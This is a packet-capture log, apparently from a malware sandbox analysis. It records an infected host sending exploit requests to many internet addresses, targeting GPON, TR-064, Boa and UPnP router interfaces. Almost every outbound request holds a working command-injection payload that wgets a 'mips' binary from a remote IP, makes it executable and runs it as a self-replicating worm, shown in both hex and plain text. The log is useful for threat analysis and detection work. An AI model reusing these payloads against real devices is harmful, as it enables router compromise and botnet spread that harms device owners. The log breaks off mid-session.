Apr 15, 2024 08:52:28.810705900 CEST	319	OUT	POST /GponForm/diag_Form?images/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 32 31 33 2e 32 33 32 2e 32 33 35 2e 31 36 36 2f 6d 69 70 73 3b 63 68 6d 6f 64 2b 37 37 37 2b 6d 69 70 73 3b 2e 2f 6d 69 70 73 2b 67 70 6f 6e 2e 73 65 6c 66 72 65 70 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://213.232.235.166/mips;chmod+777+mips;./mips+gpon.selfrep`&ipv=0
Apr 15, 2024 08:52:29.131618977 CEST	307	IN	HTTP/1.1 400 Bad Request Server: nginx Date: Mon, 15 Apr 2024 06:52:28 GMT Content-Type: text/html Content-Length: 150 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
205	192.168.2.13	58400	18.202.193.251	80

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:52:28.812985897 CEST	319	OUT	POST /GponForm/diag_Form?images/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 32 31 33 2e 32 33 32 2e 32 33 35 2e 31 36 36 2f 6d 69 70 73 3b 63 68 6d 6f 64 2b 37 37 37 2b 6d 69 70 73 3b 2e 2f 6d 69 70 73 2b 67 70 6f 6e 2e 73 65 6c 66 72 65 70 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://213.232.235.166/mips;chmod+777+mips;./mips+gpon.selfrep`&ipv=0
Apr 15, 2024 08:52:29.131676912 CEST	284	IN	HTTP/1.1 400 Bad Request Server: awselb/2.0 Date: Mon, 15 Apr 2024 06:52:28 GMT Content-Type: text/html Content-Length: 122 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
206	192.168.2.13	56680	67.0.222.101	7547

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:52:28.861887932 CEST	695	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp; chmod 777 mips; ./mips tr064.selfrep;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
207	192.168.2.13	40290	109.255.15.7	7547

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:52:28.880589962 CEST	702	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp;wget http://213.232.235.166/mips;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
208	192.168.2.13	43162	197.15.85.172	80

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:52:28.998538971 CEST	319	OUT	POST /GponForm/diag_Form?images/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 32 31 33 2e 32 33 32 2e 32 33 35 2e 31 36 36 2f 6d 69 70 73 3b 63 68 6d 6f 64 2b 37 37 37 2b 6d 69 70 73 3b 2e 2f 6d 69 70 73 2b 67 70 6f 6e 2e 73 65 6c 66 72 65 70 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://213.232.235.166/mips;chmod+777+mips;./mips+gpon.selfrep`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
209	192.168.2.13	36014	2.34.150.234	80

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:52:29.044405937 CEST	319	OUT	POST /GponForm/diag_Form?images/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 32 31 33 2e 32 33 32 2e 32 33 35 2e 31 36 36 2f 6d 69 70 73 3b 63 68 6d 6f 64 2b 37 37 37 2b 6d 69 70 73 3b 2e 2f 6d 69 70 73 2b 67 70 6f 6e 2e 73 65 6c 66 72 65 70 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://213.232.235.166/mips;chmod+777+mips;./mips+gpon.selfrep`&ipv=0
Apr 15, 2024 08:52:29.384047985 CEST	622	IN	Data Raw: 55 4e 4b 4e 4f 57 4e 20 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 0d 0a 53 65 72 76 65 72 3a 20 0d 0a 44 61 74 65 3a 20 4d 6f 6e 2c 20 31 35 20 41 70 72 20 32 30 32 34 20 30 36 3a 35 32 3a 32 39 20 47 4d 54 0d 0a 43 61 63 68 65 2d 43 6f 6e 74 Data Ascii: UNKNOWN 400 Bad RequestServer: Date: Mon, 15 Apr 2024 06:52:29 GMTCache-Control: no-cache,no-store,max-age=0Prama: no-cacheX-Frame-Options: DENYExpires: 0X-Content-Type-Options: nosniffX-XSS-Protection: 0; mode=blockContent-S

Session ID	Source IP	Source Port	Destination IP	Destination Port
210	192.168.2.13	40304	109.255.15.7	7547

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:52:29.204653978 CEST	707	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp; chmod 777 mips; ./mips tr064.selfrep;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
211	192.168.2.13	56892	181.177.237.243	1723

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:52:29.412904024 CEST	313	OUT	GET /boaform/admin/formPing?target_addr=%3Bcd%20%2Ftmp%3B%20wget%20http%3A%2F%2F213.232.235.166%2Fmips%3B%20chmod%20777%20mips%3B%20.%20%2Fmips%20netlink.selfrep%3B&waninf=1_INTERNET_R_VID_154$ HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Hello, World

Session ID	Source IP	Source Port	Destination IP	Destination Port
212	192.168.2.13	36920	186.7.171.100	80

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:52:29.427149057 CEST	319	OUT	POST /GponForm/diag_Form?images/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 32 31 33 2e 32 33 32 2e 32 33 35 2e 31 36 36 2f 6d 69 70 73 3b 63 68 6d 6f 64 2b 37 37 37 2b 6d 69 70 73 3b 2e 2f 6d 69 70 73 2b 67 70 6f 6e 2e 73 65 6c 66 72 65 70 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://213.232.235.166/mips;chmod+777+mips;./mips+gpon.selfrep`&ipv=0
Apr 15, 2024 08:52:29.672301054 CEST	346	IN	HTTP/1.1 400 Bad Request Content-Type:text/html; charset=UTF-8 Pragma:no-cache Cache-control:no-cache, no-store, max-age=0 Transfer-Encoding:chunked X-Frame-Options:SAMEORIGIN Connection:Keep-Alive X-XSS-Protection:1; mode=block Content-Security-Policy:default-src 'self' 'unsafe-inline' 'unsafe-eval' Content-Language:en
Apr 15, 2024 08:52:29.672317982 CEST	17	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
213	192.168.2.13	42716	162.19.230.211	80

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:52:29.478672028 CEST	319	OUT	POST /GponForm/diag_Form?images/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 32 31 33 2e 32 33 32 2e 32 33 35 2e 31 36 36 2f 6d 69 70 73 3b 63 68 6d 6f 64 2b 37 37 37 2b 6d 69 70 73 3b 2e 2f 6d 69 70 73 2b 67 70 6f 6e 2e 73 65 6c 66 72 65 70 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://213.232.235.166/mips;chmod+777+mips;./mips+gpon.selfrep`&ipv=0
Apr 15, 2024 08:52:29.772988081 CEST	307	IN	HTTP/1.1 400 Bad Request Server: nginx Date: Mon, 15 Apr 2024 06:52:29 GMT Content-Type: text/html Content-Length: 150 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
214	192.168.2.13	38238	62.96.43.68	80

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:52:29.482887983 CEST	307	OUT	POST /GponForm/diag_Form?images/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 32 31 33 2e 32 33 32 2e 32 33 35 2e 31 36 36 2f 6d 69 70 73 3b 63 68 6d 6f 64 2b 37 37 37 2b 6d 69 70 73 3b 2e 2f 6d 69 70 73 2b 67 70 6f 6e 2e 73 65 6c 66 72 65 70 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://213.232.235.166/mips;chmod+777+mips;./mips+gpon.selfrep`&ipv=0
Apr 15, 2024 08:52:29.782053947 CEST	902	IN	HTTP/1.0 404 Not Found Server: SonicWALL Expires: -1 Cache-Control: no-cache Content-type: text/html;charset=UTF-8 X-Content-Type-Options: nosniff Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 58 48 54 4d 4c 20 31 2e 30 20 53 74 72 69 63 74 2f 2f 45 4e 22 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 78 68 74 6d 6c 31 2f 44 54 44 2f 78 68 74 6d 6c 31 2d 73 74 72 69 63 74 2e 64 74 64 22 3e 3c 68 74 6d 6c 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 78 68 74 6d 6c 22 20 6c 61 6e 67 3d 22 65 6e 22 20 78 6d 6c 3a 6c 61 6e 67 3d 22 65 6e 22 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 21 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 3c 21 2d 2d 2f 2a 2d 2d 3e 3c 21 5b 43 44 41 54 41 5b 2f 2a 3e 3c 21 2d 2d 2a 2f 20 62 6f 64 79 20 7b 20 63 6f 6c 6f 72 3a 20 23 30 30 30 30 30 30 3b 20 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 23 46 46 46 46 46 46 3b 20 7d 73 70 61 6e 2e 75 72 6c 20 7b 20 74 65 78 74 2d 64 65 63 6f 72 61 74 69 6f 6e 3a 20 75 6e 64 65 72 6c 69 6e 65 3b 20 7d 70 20 7b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 20 33 65 6d 3b 7d 73 70 61 6e 2e 73 65 72 76 65 72 20 7b 66 6f 6e 74 2d 73 69 7a 65 3a 20 73 6d 61 6c 6c 65 72 3b 7d 2f 2a 5d 5d 3e 2a 2f 2d 2d 3e 3c 2f 73 74 79 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 3c 68 31 3e 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 21 3c 2f 68 31 3e 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 75 72 6c 22 3e 26 23 78 32 46 3b 47 70 6f 6e 46 6f 72 6d 26 23 78 32 46 3b 64 69 61 67 5f 46 6f 72 6d 3f 69 6d 61 67 65 73 26 23 78 32 46 3b 3c 2f 73 70 61 6e 3e 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 3c 70 3e 49 66 20 79 6f 75 20 65 6e 74 65 72 65 64 20 74 68 65 20 55 52 4c 20 6d 61 6e 75 61 6c 6c 79 20 70 6c 65 61 73 65 20 63 68 65 63 6b 20 79 6f 75 72 20 73 70 65 6c 6c 69 6e 67 20 61 6e 64 20 74 72 79 20 61 67 61 69 6e 2e 3c 2f 70 3e 3c 68 32 3e 45 72 72 6f 72 20 34 30 34 3c 2f 68 32 3e 3c 70 3e 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 73 65 72 76 65 72 22 3e 53 6f 6e 69 63 57 61 6c 6c 20 53 65 72 76 65 72 3c 2f 73 70 61 6e 3e 3c 2f 70 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN""http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"><html xmlns="http://www.w3.org/1999/xhtml" lang="en" xml:lang="en"><head><title>File not found!</title><style type="text/css">.../--><![CDATA[/>.../ body { color: #000000; background-color: #FFFFFF; }span.url { text-decoration: underline; }p {margin-left: 3em;}span.server {font-size: smaller;}/...*/--></style></head><body><h1>File not found!</h1><p>The requested URL <span class="url">/GponForm/diag_Form?images/</span> was not found on this server.</p><p>If you entered the URL manually please check your spelling and try again.</p><h2>Error 404</h2><p><span class="server">SonicWall Server</span></p></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
215	192.168.2.13	60928	5.167.43.27	7547

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:52:29.534626961 CEST	702	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp;wget http://213.232.235.166/mips;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Apr 15, 2024 08:52:29.856615067 CEST	197	IN	HTTP/1.1 404 Not Found Date: Mon Apr 15 09:52:29 2024 Server: tr069 http server Content-Length: 15 Connection: close Content-Type: text/plain; charset=ISO-8859-1 Data Raw: 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 0a Data Ascii: File not found

Session ID	Source IP	Source Port	Destination IP	Destination Port
216	192.168.2.13	36568	201.226.185.29	7547

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:52:29.801367998 CEST	702	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp;wget http://213.232.235.166/mips;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Apr 15, 2024 08:52:30.069823980 CEST	271	IN	HTTP/1.0 501 Not Implemented Content-type: text/html Date: Mon, 15 Apr 2024 06:52:29 GMT Connection: close Data Raw: 3c 48 45 41 44 3e 3c 54 49 54 4c 45 3e 35 30 31 20 4e 6f 74 20 49 6d 70 6c 65 6d 65 6e 74 65 64 3c 2f 54 49 54 4c 45 3e 3c 2f 48 45 41 44 3e 0a 3c 42 4f 44 59 3e 3c 48 31 3e 35 30 31 20 4e 6f 74 20 49 6d 70 6c 65 6d 65 6e 74 65 64 3c 2f 48 31 3e 0a 54 68 65 20 72 65 71 75 65 73 74 65 64 20 6d 65 74 68 6f 64 20 69 73 20 6e 6f 74 20 72 65 63 6f 67 6e 69 7a 65 64 20 62 79 20 74 68 69 73 20 73 65 72 76 65 72 2e 0a 3c 2f 42 4f 44 59 3e 0a Data Ascii: <HEAD><TITLE>501 Not Implemented</TITLE></HEAD><BODY><H1>501 Not Implemented</H1>The requested method is not recognized by this server.</BODY>

Session ID	Source IP	Source Port	Destination IP	Destination Port
217	192.168.2.13	60932	5.167.43.27	7547

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:52:29.858633041 CEST	707	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp; chmod 777 mips; ./mips tr064.selfrep;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Apr 15, 2024 08:52:30.182842016 CEST	197	IN	HTTP/1.1 404 Not Found Date: Mon Apr 15 09:52:29 2024 Server: tr069 http server Content-Length: 15 Connection: close Content-Type: text/plain; charset=ISO-8859-1 Data Raw: 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 0a Data Ascii: File not found

Session ID	Source IP	Source Port	Destination IP	Destination Port
218	192.168.2.13	53148	194.195.254.132	52869

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:52:29.939922094 CEST	928	OUT	POST /picdesc.xml HTTP/1.1 Host: 127.0.0.1:52869 Content-Length: 630 Accept-Encoding: gzip, deflate SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping Accept: / User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1) Connection: keep-alive Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 35 31 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 34 34 33 38 32 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 60 63 64 20 2f 74 6d 70 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 38 35 2e 31 30 2e 36 38 2e 31 32 37 2f 6d 69 70 73 20 2d 4f 20 2f 74 6d 70 2f 61 3b 60 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 4e 65 77 45 6e 61 62 6c 65 64 3e 31 3c 2f 4e 65 77 45 6e 61 62 6c 65 64 3e 3c 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 73 79 6e 63 74 68 69 6e 67 3c 2f 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 30 3c 2f 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 3c 2f 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47451</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`cd /tmp; wget http://185.10.68.127/mips -O /tmp/a;`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
219	192.168.2.13	36578	201.226.185.29	7547

Timestamp	Bytes transferred	Direction	Data
